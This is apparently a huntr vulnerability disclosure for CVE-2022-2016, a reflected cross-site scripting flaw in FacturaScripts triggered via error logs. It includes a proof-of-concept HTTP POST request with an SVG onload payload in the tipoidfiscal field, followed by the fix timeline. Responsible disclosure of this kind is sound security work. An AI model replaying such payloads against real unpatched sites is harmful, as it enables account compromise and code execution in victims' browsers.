huntr

Cross-site scripting - Reflected XSS caused by error logs in neorazorx/facturascripts in neorazorx/facturascripts

0

✓ Valid Reported on Jun 4th 2022

Description

There are two fields that can insert the XSS payload by the error log.
http://127.0.0.1/facturascripts/EditBalance, the `codbalance` field
http://127.0.0.1/facturascripts/EditSettings, the `tipoidfiscal` field in Fiscal Id
Both fields require `1 and 25 numbers or letters, no spaces, accents or any other character.` . So we can not store the payload, but we can trigger a reflected XSS via the error log.

Proof of Concept

```
POST /facturascripts/EditSettings HTTP/1.1
Host: 127.0.0.1
...
------WebKitFormBoundaryYIfWjQXpEB2jLexN
Content-Disposition: form-data; name="action"

edit
------WebKitFormBoundaryYIfWjQXpEB2jLexN
Content-Disposition: form-data; name="activetab"

EditIdentificadorFiscal
------WebKitFormBoundaryYIfWjQXpEB2jLexN
Content-Disposition: form-data; name="code"

CI
------WebKitFormBoundaryYIfWjQXpEB2jLexN
Content-Disposition: form-data; name="multireqtoken"

61893af8ff1671201dcbeaff4d052cf544c4de1e|MyOFut
```

```
01893af8ff107f201dcbeaff4d052cf544c4de1e|MVoLut
------WebKitFormBoundaryYIfWjQXpEB2jLexN
Content-Disposition: form-data; name="tipoidfiscal"

CI<svg/onload='alert(/xss/);'>
------WebKitFormBoundaryYIfWjQXpEB2jLexN
Content-Disposition: form-data; name="codeid"


------WebKitFormBoundaryYIfWjQXpEB2jLexN--
```

Impact

This vulnerability has the potential to deface websites, result in compromised user accounts, and can run malicious code on web pages, which can lead to a compromise of the user’s device.

CVE
CVE-2022-2016
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Reflected

Severity
Medium (6.8)

Registry
Other

Affected Version
<=8.9.6

Visibility
Public

Status
Fixed

Found by

i0hex
@iohehe
legend

Chat with us

This report was seen 485 times.

We are processing your report and will contact the **neorazorx/facturascripts** team within 24 hours. 6 months ago

i0hex modified the report 6 months ago

i0hex modified the report 6 months ago

We have contacted a member of the **neorazorx/facturascripts** team and are waiting to hear back 6 months ago

i0hex modified the report 6 months ago

Carlos Garcia validated this vulnerability 6 months ago

i0hex has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Carlos Garcia marked this as fixed in **2022.1** with commit **7b4ddb** 6 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

i0hex 6 months ago Researcher

@admin Can you assign CVE?

Jamie Slome 6 months ago Admin

Sorted 👍

Chat with us

Sign in to join this conversation